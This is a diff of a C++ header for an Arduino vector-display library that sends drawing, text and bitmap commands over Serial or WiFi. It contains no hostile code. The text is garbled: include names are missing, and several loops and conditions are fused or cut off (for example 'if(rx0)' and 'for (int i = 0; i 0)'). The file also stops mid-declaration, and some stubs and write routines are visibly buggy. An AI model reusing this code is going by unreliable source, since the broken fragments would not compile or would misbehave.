} - - void fillCircle(int16_t x, int16_t y, int16_t r, uint16_t color) { - if (color != curForeColor565) { - foreColor565(color); - } - fillCircle(x,y,r); - } - - void drawEllipse(int16_t x, int16_t y, int32_t rx, int32_t ry, uint16_t color) { - } - void fillEllipse(int16_t x, int16_t y, int32_t rx, int32_t ry, uint16_t color) { - // TODO - if(rx0) { - rectangle(cx-r,cy,cx,cy+delta,false); - rectangle(cx-r,cy,cx,cy+delta,true); - } - } - if (corners & 1) { - arc(cx,cy,r,TO_FP32(270),TO_FP32(180),false); // drawing edges separately makes things fit better - arc(cx,cy,r,TO_FP32(270),TO_FP32(180),true); - arc(cx,cy+delta,r,TO_FP32(270),TO_FP32(180),false); - arc(cx,cy+delta,r,TO_FP32(270),TO_FP32(180),true); - if (delta>0) { - rectangle(cx,cy,cx+r,cy+delta,false); - rectangle(cx,cy,cx+r,cy+delta,true); - } - } - } - - void pushImage(int32_t x, int32_t y, int32_t w, int32_t h, uint16_t *data) {}; - void pushImage(int32_t x, int32_t y, int32_t w, int32_t h, uint16_t *data, uint16_t transparent) {}; - - void setAddrWindow(int32_t xs, int32_t ys, int32_t w, int32_t h) {}; - void pushPixels(const void * data_in, uint32_t len) {}; - - void startWrite(void) {}; - void endWrite(void) {}; - - - /* the following Adafruit GFX APIs are not implemented at present */ -#pragma GCC diagnostic push -#pragma GCC diagnostic ignored "-Wunused-parameter" - void drawChar(int16_t x, int16_t y, unsigned char c, uint16_t color, - uint16_t bg, uint8_t size) {} - void setFont(const void /*GFXfont*/ *f = NULL) {} - void getTextBounds(const char *string, int16_t x, int16_t y, - int16_t *x1, int16_t *y1, uint16_t *w, uint16_t *h) {} - void getTextBounds(const void /*__FlashStringHelper*/ *s, int16_t x, int16_t y, - int16_t *x1, int16_t *y1, uint16_t *w, uint16_t *h) {} -#pragma GCC diagnostic pop -}; - -class SerialDisplayClass : public VectorDisplayClass { - private: - Stream& s; - const bool doSerialBegin; - - public: - virtual int remoteRead() override { - //return s.read(); - return('A'); - } - - virtual void remoteWrite(uint8_t c) override { - //s.write(c); - } - - virtual void remoteWrite(const void* data, size_t n) override { - //s.write((uint8_t*)data, n); - } - - /* only works with the Serial object; do not call externally without it */ - void begin(uint32_t speed, int width=VECTOR_DISPLAY_DEFAULT_WIDTH, int height=VECTOR_DISPLAY_DEFAULT_HEIGHT) { -#ifndef NO_SERIAL - if (doSerialBegin) { - Serial.begin(speed); - while(!Serial) ; - } -#endif - VectorDisplayClass::begin(width, height); - } - - bool getSwapBytes(void) { return false; } // stub - void setSwapBytes(bool swap) { return; } // stub - - virtual void begin(int width=VECTOR_DISPLAY_DEFAULT_WIDTH, int height=VECTOR_DISPLAY_DEFAULT_HEIGHT) override { - begin(115200, width, height); - } - - virtual size_t remoteAvailable() override { - return s.available(); - } - -#ifndef NO_SERIAL - SerialDisplayClass() : s(Serial), doSerialBegin(true) {} -#endif - - SerialDisplayClass(Stream& _s) : s(_s), doSerialBegin(false) {} -}; - -#ifdef ESP8266 -class WiFiDisplayClass : public SerialDisplayClass { - private: - WiFiClient client; - public: - bool begin(const char* host, int width=VECTOR_DISPLAY_DEFAULT_WIDTH, int height=VECTOR_DISPLAY_DEFAULT_HEIGHT) { - VectorDisplayClass::begin(width, height); - return client.connect(host, 7788); - } - - virtual void end() override { - VectorDisplayClass::end(); - client.stop(); - } - - WiFiDisplayClass() : SerialDisplayClass(client) { - } -}; -#endif - -#endif +#ifndef __VECTOR_DISPLAY_H__ +#define __VECTOR_DISPLAY_H__ + +#ifndef ARDUINO +#define NO_SERIAL +#include +#define pgm_read_byte_near(a) (*(uint8_t*)(a)) + +#include +#include + +typedef std::string String; + +uint32_t millis() { + struct timeb t; + ftime(&t); + return t.millitm + t.time * 1000; +} + +class Print { +public: + virtual size_t write(uint8_t c) = 0; + virtual size_t write(const uint8_t* s, size_t length) { + size_t wrote = 0; + while (length > 0) { + size_t b = write(*s++); + if (b <= 0) + break; + b++; + length--; + } + return wrote; + } + + virtual size_t write(const char* s) { + return write((uint8_t*)s, strlen(s)); + } +}; + +class Stream : public Print { +public: + virtual int read() = 0; + virtual int available() = 0; +}; + +#else +#include +#endif + +#ifdef ESP8266 +# include +#endif + +#define VECTOR_DISPLAY_MESSAGE_SIZE 8 +#define VECTOR_DISPLAY_MAX_STRING 256 + +#define VECTOR_DISPLAY_DEFAULT_WIDTH 240 +#define VECTOR_DISPLAY_DEFAULT_HEIGHT 320 + +#define ALIGN_LEFT 'l' +#define ALIGN_RIGHT 'r' +#define ALIGN_CENTER 'c' +#define ALIGN_TOP 't' +#define ALIGN_BOTTOM 'b' +#define ALIGN_BASELINE 'l' + +#ifndef VECTOR_DISPLAY_SEND_DELAY +#define VECTOR_DISPLAY_SEND_DELAY 0 +#endif + +#define TFT_BLACK 0x0000 /* 0, 0, 0 */ +#define TFT_NAVY 0x000F /* 0, 0, 128 */ +#define TFT_DARKGREEN 0x03E0 /* 0, 128, 0 */ +#define TFT_DARKCYAN 0x03EF /* 0, 128, 128 */ +#define TFT_MAROON 0x7800 /* 128, 0, 0 */ +#define TFT_PURPLE 0x780F /* 128, 0, 128 */ +#define TFT_OLIVE 0x7BE0 /* 128, 128, 0 */ +#define TFT_LIGHTGREY 0xC618 /* 192, 192, 192 */ +#define TFT_DARKGREY 0x7BEF /* 128, 128, 128 */ +#define TFT_BLUE 0x001F /* 0, 0, 255 */ +#define TFT_GREEN 0x07E0 /* 0, 255, 0 */ +#define TFT_CYAN 0x07FF /* 0, 255, 255 */ +#define TFT_RED 0xF800 /* 255, 0, 0 */ +#define TFT_MAGENTA 0xF81F /* 255, 0, 255 */ +#define TFT_YELLOW 0xFFE0 /* 255, 255, 0 */ +#define TFT_WHITE 0xFFFF /* 255, 255, 255 */ +#define TFT_ORANGE 0xFD20 /* 255, 165, 0 */ +#define TFT_GREENYELLOW 0xAFE5 /* 173, 255, 47 */ +#define TFT_PINK 0xF81F + +// Color definitions for backwards compatibility +#define ILI9341_BLACK 0x0000 /* 0, 0, 0 */ +#define ILI9341_NAVY 0x000F /* 0, 0, 128 */ +#define ILI9341_DARKGREEN 0x03E0 /* 0, 128, 0 */ +#define ILI9341_DARKCYAN 0x03EF /* 0, 128, 128 */ +#define ILI9341_MAROON 0x7800 /* 128, 0, 0 */ +#define ILI9341_PURPLE 0x780F /* 128, 0, 128 */ +#define ILI9341_OLIVE 0x7BE0 /* 128, 128, 0 */ +#define ILI9341_LIGHTGREY 0xC618 /* 192, 192, 192 */ +#define ILI9341_DARKGREY 0x7BEF /* 128, 128, 128 */ +#define ILI9341_BLUE 0x001F /* 0, 0, 255 */ +#define ILI9341_GREEN 0x07E0 /* 0, 255, 0 */ +#define ILI9341_CYAN 0x07FF /* 0, 255, 255 */ +#define ILI9341_RED 0xF800 /* 255, 0, 0 */ +#define ILI9341_MAGENTA 0xF81F /* 255, 0, 255 */ +#define ILI9341_YELLOW 0xFFE0 /* 255, 255, 0 */ +#define ILI9341_WHITE 0xFFFF /* 255, 255, 255 */ +#define ILI9341_ORANGE 0xFD20 /* 255, 165, 0 */ +#define ILI9341_GREENYELLOW 0xAFE5 /* 173, 255, 47 */ +#define ILI9341_PINK 0xF81F + +#define MESSAGE_DOWN 'D' +#define MESSAGE_UP 'U' +#define MESSAGE_MOVE 'M' +#define MESSAGE_BUTTON 'B' +#define MESSAGE_ACK 'A' + +//These enumerate the text plotting alignment (reference datum point) +#define TL_DATUM 0 // Top left (default) +#define TC_DATUM 1 // Top centre +#define TR_DATUM 2 // Top right +#define ML_DATUM 3 // Middle left +#define CL_DATUM 3 // Centre left, same as above +#define MC_DATUM 4 // Middle centre +#define CC_DATUM 4 // Centre centre, same as above +#define MR_DATUM 5 // Middle right +#define CR_DATUM 5 // Centre right, same as above +#define BL_DATUM 6 // Bottom left +#define BC_DATUM 7 // Bottom centre +#define BR_DATUM 8 // Bottom right +#define L_BASELINE 9 // Left character baseline (Line the 'A' character would sit on) +#define C_BASELINE 10 // Centre character baseline +#define R_BASELINE 11 // Right character baseline + +typedef uint32_t FixedPoint32; +#define TO_FP32(f) ((uint32_t)((f)*65536. + 0.5)) + +struct VectorDisplayMessage { + char what; + char what2; + union { + uint8_t button; + struct { + int16_t x; + int16_t y; + } xy; + } data; +} __attribute__((packed)); + +class VectorDisplayClass : public Print { +private: + static const uint32_t MAX_BUFFER = (uint32_t)1024*256; + static const uint32_t MESSAGE_TIMEOUT = 3000; + static const uint8_t FLAG_LOW_ENDIAN_BITS = 1; + static const uint8_t FLAG_HAVE_MASK = 2; + static const uint8_t FLAG_PAD_BYTE = 4; + static const uint8_t FLAG_LOW_ENDIAN_BYTES = 8; + + bool waitForAck = true; + int gfxFontSize = 1; + int curx = 0; + int cury = 0; + int readPos = 0; + int32_t curForeColor565 = -1; + uint32_t lastMessageStart = 0; + int pointerX; + int pointerY; + int curWidth = VECTOR_DISPLAY_DEFAULT_WIDTH; + int curHeight = VECTOR_DISPLAY_DEFAULT_HEIGHT; + uint8_t curRotation = 0; + bool pointerDown = false; + bool wrap = 1; + bool fixCP437 = true; + uint16_t polyLineCount; + uint8_t polyLineSum; + uint32_t delayTime = 0; + + uint8_t readBuf[VECTOR_DISPLAY_MESSAGE_SIZE]; + union { + uint32_t color; + uint16_t twoByte[9]; + struct { + uint16_t x; + uint16_t y; + char text[VECTOR_DISPLAY_MAX_STRING+1]; + } __attribute__((packed)) xyText; + struct { + uint16_t endianness; + uint16_t width; + uint16_t height; + FixedPoint32 aspectRatio; + uint16_t reserved[3]; + } __attribute__((packed)) initialize; + struct { + uint8_t c; + char text[VECTOR_DISPLAY_MAX_STRING+1]; + } __attribute__((packed)) charText; + struct { + uint16_t width; + uint16_t height; + } __attribute__((packed)) coords; + struct { + char attr; + uint8_t value; + } __attribute__((packed)) attribute8; + struct { + char attr; + uint16_t value; + } __attribute__((packed)) attribute16; + struct { + char attr; + uint32_t value; + } __attribute__((packed)) attribute32; + struct { + uint32_t length; + uint8_t depth; + uint8_t flags; + uint16_t x; + uint16_t y; + uint16_t w; + uint16_t h; + uint32_t foreColor; // only if depth==1 + uint32_t backColor; // only if depth==1 + } __attribute__((packed)) bitmap; + struct { + uint16_t x1; + uint16_t y1; + uint16_t x2; + uint16_t y2; + uint16_t r; + uint8_t filled; + } __attribute__((packed)) roundedRectangle; + struct { + uint16_t x; + uint16_t y; + uint16_t r; + FixedPoint32 angle1; + FixedPoint32 sweep; + uint8_t filled; + } __attribute__((packed)) arc; + struct { + char attr; + uint16_t values[2]; + } __attribute__((packed)) attribute16x2; + uint8_t bytes[VECTOR_DISPLAY_MAX_STRING+1]; + char text[VECTOR_DISPLAY_MAX_STRING+1]; + } args; + uint32_t lastSend = 0; + +private: + inline void sendDelay() { + if (delayTime>0) { + while(millis()-lastSend < delayTime) ; + lastSend = millis(); + } + } + +public: + int textsize = 1; + uint32_t textcolor = TFT_WHITE; + uint32_t textbgcolor = TFT_BLACK; + + void setWaitForAck(bool wait) { + waitForAck = wait; + } + + void setDelay(uint32_t delayMillis) { + delayTime = delayMillis; + lastSend = millis(); + } + + virtual void remoteFlush() { + /*while(remoteAvailable()) + remoteRead(); + * */ + } + virtual int remoteRead() = 0; // must be non-blocking + virtual void remoteWrite(uint8_t c) = 0; + virtual void remoteWrite(const void* data, size_t n) = 0; + virtual size_t remoteAvailable() = 0; + + void attribute8(char a, uint8_t value) { + args.attribute8.attr = a; + args.attribute8.value = value; + sendCommand('Y', &args, 2); + } + + void attribute8(char a, bool value) { + args.attribute8.attr = a; + args.attribute8.value = value ? 1 : 0; + sendCommand('Y', &args, 2); + } + + void attribute16(char a, uint16_t value) { + args.attribute16.attr = a; + args.attribute16.value = value; + sendCommand('A', &args, 3); + } + + void attribute32(char a, uint32_t value) { + args.attribute32.attr = a; + args.attribute32.value = value; + sendCommand('B', &args, 5); + } + + void sendCommand(char c, const void* arguments, int argumentsLength) { + sendDelay(); + remoteWrite(c); + remoteWrite(c^0xFF); + if (argumentsLength > 0) + remoteWrite((uint8_t*)arguments, argumentsLength); + uint8_t sum = 0; + for (int i = 0; i 0) + s += *p++; + return s; + } + + void startPoly(char c, uint16_t n) { + polyLineCount = n; + remoteWrite(c); + remoteWrite(c^0xFF); + args.twoByte[0] = n; + remoteWrite((uint8_t*)&args, 2); + polyLineSum = args.bytes[0] + args.bytes[1]; + } + + void startFillPoly(uint16_t n) { + startPoly('N', n); + } + + void startPolyLine(uint16_t n) { + startPoly('O', n); + } + + void addPolyLine(int16_t x, int16_t y) { + if (polyLineCount>0) { + args.twoByte[0] = x; + args.twoByte[1] = y; + remoteWrite((uint8_t*)&args, 4); + polyLineSum += args.bytes[0] + args.bytes[1] + args.bytes[2] + args.bytes[3]; + polyLineCount--; + if (polyLineCount == 0) { + remoteWrite(0xFF^polyLineSum); + } + } + } + + void line(int x1, int y1, int x2, int y2) { + args.twoByte[0] = x1; + args.twoByte[1] = y1; + args.twoByte[2] = x2; + args.twoByte[3] = y2; + sendCommand('L', &args, 8); + } + + void fillRectangle(int x1, int y1, int x2, int y2) { + args.twoByte[0] = x1; + args.twoByte[1] = y1; + args.twoByte[2] = x2; + args.twoByte[3] = y2; + sendCommand('R', &args, 8); + } + + void rectangle(int x1, int y1, int x2, int y2, bool fill=false) { + if (fill) + fillRectangle(x1,y1,x2,y2); + else { + startPolyLine(4); + addPolyLine(x1,y1); + addPolyLine(x2,y1); + addPolyLine(x2,y2); + addPolyLine(x1,y2); + } + } + + void roundedRectangle(int x1, int y1, int x2, int y2, int r, bool fill) { + args.roundedRectangle.filled = fill ? 1 : 0; + args.roundedRectangle.x1 = x1; + args.roundedRectangle.x2 = x2; + args.roundedRectangle.y1 = y1; + args.roundedRectangle.y2 = y2; + args.roundedRectangle.r = r; + sendCommand('Q', &args, 11); + } + + void roundedRectangle(int x1, int y1, int x2, int y2, int r) { + roundedRectangle(x1,y1,x2,y2,r,false); + } + + void fillRoundedRectangle(int x1, int y1, int x2, int y2, int r) { + roundedRectangle(x1,y1,x2,y2,r,true); + } + + void fillTriangle(int x1, int y1, int x2, int y2, int x3, int y3) { + args.twoByte[0] = x1; + args.twoByte[1] = y1; + args.twoByte[2] = x2; + args.twoByte[3] = y2; + args.twoByte[4] = x3; + args.twoByte[5] = y3; + sendCommand('G', &args, 12); + } + +/* void initialize() { + args.twoByte[0] = 0x1234; // endianness detector + args.twoByte[1] = 0; + sendCommandWithAck('H', &args, 4); + } */ + + void initialize(int w=VECTOR_DISPLAY_DEFAULT_WIDTH, int h=VECTOR_DISPLAY_DEFAULT_HEIGHT) { + args.initialize.endianness = 0x1234; // endianness detector + args.initialize.width = w; + args.initialize.height = h; + args.initialize.aspectRatio = TO_FP32(1.); + args.initialize.reserved[0] = 0; + args.initialize.reserved[1] = 0; + args.initialize.reserved[2] = 0; + curWidth = w; + curHeight = h; + + sendCommandWithAck('Z', &args, 16); + } + + void fillCircle(int x, int y, int r) { + args.twoByte[0] = x; + args.twoByte[1] = y; + args.twoByte[2] = r; + sendCommand('J', &args, 6); + } + + void circle(int x, int y, int r) { + args.twoByte[0] = x; + args.twoByte[1] = y; + args.twoByte[2] = r; + sendCommand('I', &args, 6); + } + + void point(int x, int y) { + args.twoByte[0] = x; + args.twoByte[1] = y; + sendCommand('P', &args, 4); + } + + void arc(int x, int y, int r, FixedPoint32 angle1, FixedPoint32 sweep, bool fill=false) { + args.arc.x = x; + args.arc.y = y; + args.arc.r = r; + args.arc.angle1 = angle1; + args.arc.sweep = sweep; + args.arc.filled = fill ? 1 : 0; + sendCommand('S', &args, 15); + } + + void arc(int x, int y, int r, float angle1, float sweep, bool fill=false) { + arc(x,y,r,TO_FP32(angle1),TO_FP32(sweep),fill); + } + + // 32-bit fixed point + void textSize(FixedPoint32 s) { + args.attribute32.attr = 's'; + args.attribute32.value = s; + sendCommand('B', &args, 5); + } + + void text(int x, int y, const char* str, int n) { + args.xyText.x = x; + args.xyText.y = y; + if (n>VECTOR_DISPLAY_MAX_STRING) + n = VECTOR_DISPLAY_MAX_STRING; + strncpy(args.xyText.text, str, n); + + if (fixCP437) { + for (int i=0;i=176) + args.xyText.text[i]++; + } + } + args.xyText.text[n] = 0; + sendCommand('T', &args, 4+strlen(args.xyText.text)+1); + } + + void text(int x, int y, const char* str) { + text(x, y, str, strlen(str)); + } + + void text(int x, int y, String str) { + text(x,y,str.c_str(), str.length()); + } + + void deleteButton(uint8_t command) { + sendCommand('D', &command, 1); + } + + void addButton(uint8_t command, const char* str) { + args.charText.c = command; + strncpy(args.charText.text, str, VECTOR_DISPLAY_MAX_STRING); + args.charText.text[VECTOR_DISPLAY_MAX_STRING] = 0; + sendCommand('U', &args, 1+strlen(args.charText.text)+1); + } + + void addButton(uint8_t command, String str) { + addButton(command, str.c_str()); + } + + void toast(const char* str, unsigned n) { + if (VECTOR_DISPLAY_MAX_STRING < n) + n = VECTOR_DISPLAY_MAX_STRING; + strncpy(args.text, str, n); + args.text[n] = 0; + sendCommand('M', &args, n+1); + } + + void toast(const char* str) { + toast(str, strlen(str)); + } + + void toast(String text) { + toast(text.c_str(), text.length()); + } + + void foreColor(uint32_t color) { + args.attribute32.attr = 'f'; + args.attribute32.value = color; + sendCommand('B', &args, 5); + curForeColor565 = -1; + } + + void backColor(uint32_t color) { + args.attribute32.attr = 'b'; + args.attribute32.value = color; + sendCommand('B', &args, 5); + } + + void textBackColor(uint32_t color) { + args.attribute32.attr = 'k'; + args.attribute32.value = color; + sendCommand('B', &args, 5); + } + + void textForeColor(uint32_t color) { + args.attribute32.attr = 'F'; + args.attribute32.value = color; + sendCommand('B', &args, 5); + } + + void foreColor565(uint16_t color) { + args.attribute16.attr = 'f'; + args.attribute16.value = color; + sendCommand('A', &args, 3); + curForeColor565 = color; + } + + void backColor565(uint16_t color) { + args.attribute16.attr = 'b'; + args.attribute16.value = color; + sendCommand('A', &args, 3); + } + + void textBackColor565(uint16_t color) { + args.attribute16.attr = 'k'; + args.attribute16.value = color; + sendCommand('A', &args, 3); + } + + void textForeColor565(uint16_t color) { + args.attribute16.attr = 'F'; + args.attribute16.value = color; + sendCommand('A', &args, 3); + } + + void rounded(uint8_t value) { + args.attribute8.attr = 'n'; + args.attribute8.value = value ? 1 : 0; + sendCommand('Y', &args, 2); + } + + void thickness(FixedPoint32 t) { + args.attribute32.attr = 't'; + args.attribute32.value = t; + sendCommand('B', &args, 5); + } + + void pixelAspectRatio(FixedPoint32 a) { + args.attribute32.attr = 'a'; + args.attribute32.value = a; + sendCommand('B', &args, 5); + } + +#ifdef SUPPORT_FLOATING_POINT + inline void setThickness(double thickness) { + setThickness(TO_FP32(thickness)); + } + + inline void setPixelAspectRatio(double aspect) { + setThickness(TO_FP32(aspect)); + } +#endif + + void clear() { + sendCommand('C', NULL, 0); + } + + void update() { + sendCommand('F', NULL, 0); + } + +/* void reset() { + sendCommandWithAck('E', NULL, 0); + } */ + + void coordinates(int width, int height) { + args.attribute16x2.attr = 'c'; + curWidth = width; + curHeight = height; + args.attribute16x2.values[0] = width; + args.attribute16x2.values[1] = height; + sendCommandWithAck('B', &args, 5); + } + + void continuousUpdate(bool value) { + args.attribute8.attr = 'c'; + args.attribute8.value = value ? 1 : 0; + sendCommand('Y', &args, 2); + } + + void textHorizontalAlign(char hAlign) { + args.attribute8.attr = 'h'; + args.attribute8.value = hAlign; + sendCommand('Y', &args, 2); + } + + void textVerticalAlign(char hAlign) { + args.attribute8.attr = 'v'; + args.attribute8.value = hAlign; + sendCommand('Y', &args, 2); + } + + void textOpaqueBackground(bool opaque) { + args.attribute8.attr = 'o'; + args.attribute8.value = opaque ? 1 : 0; + sendCommand('Y', &args, 2); + } + + void textBold(bool bold) { + args.attribute8.attr = 'b'; + args.attribute8.value = bold ? 1 : 0; + sendCommand('Y', &args, 2); + } + + bool isTouchDown() { + return pointerDown; + } + + int getTouchX() { + return pointerX; + } + + int getTouchY() { + return pointerY; + } + + bool readMessage(VectorDisplayMessage* msg) { + while (remoteAvailable()) { + uint8_t c = remoteRead(); + + if (0 < readPos && millis()-lastMessageStart > MESSAGE_TIMEOUT) + readPos = 0; + + if (2 <= readPos) { + readBuf[readPos++] = c; + if (readPos >= VECTOR_DISPLAY_MESSAGE_SIZE) { + readPos = 0; + if (msg != NULL) + memcpy(msg, readBuf, sizeof(VectorDisplayMessage)); + else + msg = (VectorDisplayMessage*)readBuf; + + if (msg->what == MESSAGE_DOWN || msg->what == MESSAGE_UP || msg->what == MESSAGE_MOVE) { + pointerDown = msg->what != MESSAGE_UP; + pointerX = msg->data.xy.x; + pointerY = msg->data.xy.y; + } + return true; + } + continue; + } + + if (1 <= readPos) { + if ( (*readBuf == 'U' && c == 'P') || + (*readBuf == 'D' && c == 'N') || + (*readBuf == 'M' && c == 'V') || + (*readBuf == 'B' && c == 'T') || + (*readBuf == 'A' && c == 'c') + ) { + readBuf[readPos++] = c; + continue; + } + readPos = 0; + } + if (readPos == 0 && (c == 'U' || c == 'D' || c == 'M' || c == 'B' || c == 'A')) { + readBuf[readPos++] = c; + lastMessageStart = millis(); + } + } + return false; + } + + uint32_t color565To8888(uint16_t c) { + return 0xFF000000 | ((((c>>11) & 0x1F) * 255 / 0x1F) << 16) | ((((c>>5) & 0x3F) * 255 / 0x3F) << 8) | ((c & 0x1F) * 255 / 0x1F); + } + + uint16_t color565(uint8_t r, uint8_t g, uint8_t b) { + return ((r & 0xF8) << 8) | ((g & 0xFC) << 3) | (b >> 3); + } + + uint32_t getBitmap1Size(int16_t w, int16_t h, uint8_t flags=0) { + return (flags & FLAG_PAD_BYTE) ? ((uint32_t)w+7)/8*h : ((uint32_t)w*h+7)/8; + } + + uint32_t getBitmapSize(int16_t w, int16_t h, uint8_t depth=1, uint8_t flags=0) { + if (depth==1) { + return getBitmap1Size(w,h,flags); + } + else { + return w*h*(depth/8); + } + } + + /*TODO: stubs*/ + void* createSprite(int16_t width, int16_t height, uint8_t frames = 1) { return NULL; } + void pushSprite(int32_t x, int32_t y) {} + void deleteSprite(void) {} + void fillSprite(uint32_t color) {} + + void bitmap_progmem(int16_t x, int16_t y, const uint8_t* bmp, + int16_t w, int16_t h, uint8_t depth=1, uint8_t flags=0, const uint8_t* mask=NULL, + uint32_t foreColor=0xFFFFFFFF, + uint32_t backColor=0x00FFFFFF) /* PROGMEM */ { + if (mask != NULL) + flags |= FLAG_HAVE_MASK; + uint32_t bitmapSize = getBitmapSize(w,h,depth,flags); + int headerSize = depth==1 ? 22 : 14; + uint32_t maskSize = mask == NULL ? 0 : getBitmap1Size(w,h,flags); + uint32_t fullSize = bitmapSize + headerSize + maskSize; + + if (fullSize + 1 > MAX_BUFFER) + return; + + sendDelay(); + remoteWrite('K'); + remoteWrite('K'^0xFF); + args.bitmap.length = fullSize; + args.bitmap.depth = 1; + args.bitmap.flags = flags; + args.bitmap.x = x; + args.bitmap.y = y; + args.bitmap.w = w; + args.bitmap.h = h; + if (depth == 1) { + args.bitmap.foreColor = foreColor; + args.bitmap.backColor = backColor; + } + + uint8_t sum = sumBytes(&args, headerSize); + remoteWrite(&args,headerSize); + for (uint32_t i=0; i MAX_BUFFER) + return; + + sendDelay(); + remoteWrite('K'); + remoteWrite('K'^0xFF); + args.bitmap.length = fullSize; + args.bitmap.depth = depth; + args.bitmap.flags = flags; + args.bitmap.x = x; + args.bitmap.y = y; + args.bitmap.w = w; + args.bitmap.h = h; + if (depth == 1) { + args.bitmap.foreColor = foreColor; + args.bitmap.backColor = backColor; + } + remoteWrite(&args,headerSize); + remoteWrite(bmp,bitmapSize); + uint8_t sum = sumBytes(&args, headerSize) + sumBytes((void*)bmp, bitmapSize); + if (maskSize > 0) { + remoteWrite(mask,maskSize); + sum += sumBytes((void*)mask, maskSize); + } + remoteWrite(sum^0xFF); + } + + void utf8() { + fixCP437 = false; + args.attribute8.attr = 'i'; + args.attribute8.value = 0; + sendCommand('Y', &args, 2); + } + + /* The following are meant to be compatible with Adafruit GFX */ + void cp437(bool s) { + // if true, activates real cp437 mode; if false, activates buggy Arduino compatible cp437 mode + fixCP437 = !s; + args.attribute8.attr = 'i'; + args.attribute8.value = 1; + sendCommand('Y', &args, 2); + } + + void setRotation(uint8_t r) { + args.attribute8.attr = 'r'; + args.attribute8.value = r; + curRotation = r & 3; + sendCommand('Y', &args, 2); + } + + void setTextSize(uint8_t size) { + gfxFontSize = size; + textsize = size; + textSize((FixedPoint32)size * 8 * 65536); + } + + void setTextDatum(uint8_t d) { } // mockup + + void setTextColor(uint16_t f, uint16_t b) { + textBackColor565(b); + textForeColor565(f); + textcolor = f; + textbgcolor = b; + textOpaqueBackground(true); + } + + void setTextColor(uint16_t f) { + textForeColor565(f); + textcolor = f; + textOpaqueBackground(false); + } + + void setCursor(int16_t x, int16_t y) { + curx = x; + cury = y; + } + + + int16_t getCursorX(void) { + return curx; + } + + int16_t getCursorY(void) { + return cury; + } + + void setTextWrap(bool w) { + wrap = w; + } + + int16_t drawRightString(const char *string, int32_t x, int32_t y, uint8_t font) { + // TODO: add spaces + return drawString(string, x, y); + } + + int16_t drawRightString(const String& string, int32_t x, int32_t y, uint8_t font) { + return drawRightString(string.c_str(), x, y, font); + } + + int16_t drawCentreString(const char *string, int32_t x, int32_t y, uint8_t font) { + // TODO: add spaces + return drawString(string, x, y); + } + + + int16_t drawCentreString(const String& string, int32_t x, int32_t y, uint8_t font) { + return drawCentreString(string.c_str(), x, y, font); + } + + int16_t drawString(const String& string, int32_t x, int32_t y) { + return drawString(string.c_str(), x, y); + } + + int16_t drawString(const char *string, int32_t x, int32_t y) { + setCursor(x, y); + return write(string); + }; + + int16_t drawChar(uint16_t uniCode, int32_t x, int32_t y) { + setCursor(x, y); + return write(uniCode); + } + + // TODO: fix back color handling + size_t write(uint8_t c) override { + if (wrap && curx + 5*gfxFontSize>width()) { + curx = 0; + cury += 8*gfxFontSize; + } + text(curx, cury, (char*)&c, 1); + curx += 5*gfxFontSize; + return 0; + } + + // TODO: fix back color handling + size_t write(const char* s) /*override*/ { //ESP8266 core doesn't supply write(const char*) + int l = strlen(s); + int w = width(); + if (!wrap || curx + 5*gfxFontSize*l <= w) { + text(curx, cury, s); + curx += 5*gfxFontSize*l; + } + else { + while(l>0) { + int end = ((int)w-curx)/(5*gfxFontSize); + if (end <= 0) { + curx = 0; + cury += 8*gfxFontSize; + end = w/(5*gfxFontSize); + } + if (end > l) + end = l; + text(curx, cury, s, end); + l-=end; + s += end; + curx = 5*gfxFontSize*end; + } + } + return 0; + } + + void drawPixel(int16_t x, int16_t y, uint16_t color) { + if (color != curForeColor565) { + foreColor565(color); + } + point(x, y); + } + + void drawRect(int16_t x, int16_t y, int16_t w, int16_t h, uint16_t color) { + if (color != curForeColor565) { + foreColor565(color); + } + rectangle(x,y,x+w-1,y+h-1); + } + + void fillRect(int16_t x, int16_t y, int16_t w, int16_t h, uint16_t color) { + if (color != curForeColor565) { + foreColor565(color); + } + fillRectangle(x,y,x+w-1,y+h-1); + } + + void drawFastHLine(int16_t x, int16_t y, int16_t w, uint16_t color) { + if (color != curForeColor565) { + foreColor565(color); + } + line(x,y,x+w,y); + } + + void drawLine(int16_t x, int16_t y, int16_t x2, int16_t y2, uint16_t color) { + if (color != curForeColor565) { + foreColor565(color); + } + line(x,y,x2,y2); + } + + + // Draw an anti-aliased wide line from ax,ay to bx,by width wd with radiused ends (radius is wd/2) + // If bg_color is not included the background pixel colour will be read from TFT or sprite + void drawWideLine(float ax, float ay, float bx, float by, float wd, uint32_t fg_color, uint32_t bg_color = 0x00FFFFFF) { + drawRect(ax, ay, wd, abs(ay-by), fg_color); + } + + // As per "drawSmoothArc" except the ends of the arc are NOT anti-aliased, this facilitates dynamic arc length changes with + // arc segments and ensures clean segment joints. + // The sides of the arc are anti-aliased by default. If smoothArc is false sides will NOT be anti-aliased + void drawArc(int32_t x, int32_t y, int32_t r, int32_t ir, uint32_t startAngle, uint32_t endAngle, uint32_t fg_color, uint32_t bg_color, bool smoothArc = true){ + // TODO + drawRect(x, y, r*2, ir*2, fg_color); + } + + void drawSmoothArc(int32_t x, int32_t y, int32_t r, int32_t ir, uint32_t startAngle, uint32_t endAngle, uint32_t fg_color, uint32_t bg_color, bool roundEnds = false) { + drawArc(x, y, r, ir, startAngle, endAngle, fg_color, bg_color); + } + + // Draw an anti-aliased filled circle at x, y with radius r + // If bg_color is not included the background pixel colour will be read from TFT or sprite + void fillSmoothCircle(int32_t x, int32_t y, int32_t r, uint32_t color, uint32_t bg_color = 0x00FFFFFF) { + fillCircle(x, y, r, color) ; + } + + void drawSmoothRoundRect(int32_t x, int32_t y, int32_t r, int32_t ir, int32_t w, int32_t h, uint32_t fg_color, uint32_t bg_color = 0x00FFFFFF, uint8_t quadrants = 0xF) { + drawRoundRect(x, y, w, h, r, fg_color); + } + + // Draw a filled rounded rectangle , corner radius r and bounding box defined by x,y and w,h + void fillSmoothRoundRect(int32_t x, int32_t y, int32_t w, int32_t h, int32_t radius, uint32_t color, uint32_t bg_color = 0x00FFFFFF) { + fillRoundRect(x, y, w, h, radius, color); + } + + + void drawFastVLine(int16_t x, int16_t y, int16_t h, uint16_t color) { + if (color != curForeColor565) { + foreColor565(color); + } + line(x,y,x,y+h); + } + + void fillScreen(uint16_t color) { + backColor565(color); + clear(); + backColor(0xFF000000); + } + + void drawCircle(int16_t x, int16_t y, int16_t r, uint16_t color) { + if (color != curForeColor565) { + foreColor565(color); + } + circle(x,y,r); + } + + void fillCircle(int16_t x, int16_t y, int16_t r, uint16_t color) { + if (color != curForeColor565) { + foreColor565(color); + } + fillCircle(x,y,r); + } + + void drawEllipse(int16_t x, int16_t y, int32_t rx, int32_t ry, uint16_t color) { + } + void fillEllipse(int16_t x, int16_t y, int32_t rx, 